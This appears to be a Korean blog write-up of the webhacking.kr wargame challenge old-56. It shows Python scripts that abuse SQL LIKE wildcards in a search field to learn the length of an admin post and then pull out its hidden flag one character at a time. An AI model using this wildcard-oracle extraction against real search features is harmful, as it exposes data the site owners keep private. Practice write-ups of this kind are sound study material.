| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
Tags
- msfconsole #heartbleed #247ctf #misc #webhacking
- Bandit
- bandit #밴딧 #웹해킹 #해킹 #화이트해커 #공부 #스터디 #IT #hacking #linux #openssl #nmap
- sql injection
- time-based
- androidhacking
- 밴딧
- androGoat
- 리눅스
- Linux
- 쿠키변조
- error-based
- 취약점 진단
- 안드로이드 모의해킹
- pentest
- 모의해킹
Archives
- Today
- Total
d0r1
[webhacking] old-56 본문
삽질하다가 3시간 걸렸다..... 생각보다 어려웠다

다음과 같은 페이지가 출력된다
각각 버튼을 눌러보면, admin의 게시글은 거부 그리고 guest는 hello~ 로 출력된다
여기서 우리는 admin의 readme를 읽어야한다
search는 subject 내의 내용을 읽어서 검색을 한다
elo 만 쳐도 hi가 출력되는 것을 보아
아무래도, %{input}% 으로 이루어진거 같다
_를 넣었더니, 두 개의 값이 떴다.
즉, _ 와일드카드가 작동하는 말이다
와일드카드가 작동하므로
와일드카드를 통해 readme의 내용을 파악할 수 있다.
예를 들자면, f_______ 이런식으로 말이다
그러나, %에 의해 중간지점도 파악될 수 있기 때문에 _를 통해 몇자리인지 파악하는게 우선이다
import requests
url = "https://webhacking.kr/challenge/web-33/index.php"
count = 1
text = "_"
for i in range(0, 100):
text += "_"
print(text)
count += 1
datas = {"search":text}
res = requests.post(url, data=datas)
if "admin" not in res.text:
break
다음의 코드를 통해 총 45자리로 이루어져있음을 확인할 수 있다
다음은 자리를 알았으므로 pw가 어떻게 이루어져 있는지 파악해야 한다
그러나, 조심해야 할 것이 있다.
와일드카드에 의해 admin이 출력되는 경우가 있기 때문에
해당 케이스를 제외하고 짜야한다
pw = ""
tmp= "F"
for b in range(count):
print("[+Round 1] :"+str(b))
for j in range(33,126):
if j == 37:
continue
datas = {'search' : tmp + chr(j)}
r = requests.post(url=url , data = datas)
if('admin' in r.text):
print(chr(j))
tmp+= chr(j)
pw= tmp
print(pw)
break
print(pw)

이렇게하면 플래그가 출력되는 모습을 확인할 수 있다
'webhacking' 카테고리의 다른 글
| [webhacking] old 61 (0) | 2023.11.10 |
|---|---|
| [webhacking] old 7 (0) | 2023.11.08 |
| [webhacking] old-49 (0) | 2023.11.07 |
| [webhacking] old-02 (0) | 2023.11.07 |
| [webhacking.kr] old-23 (0) | 2023.08.29 |
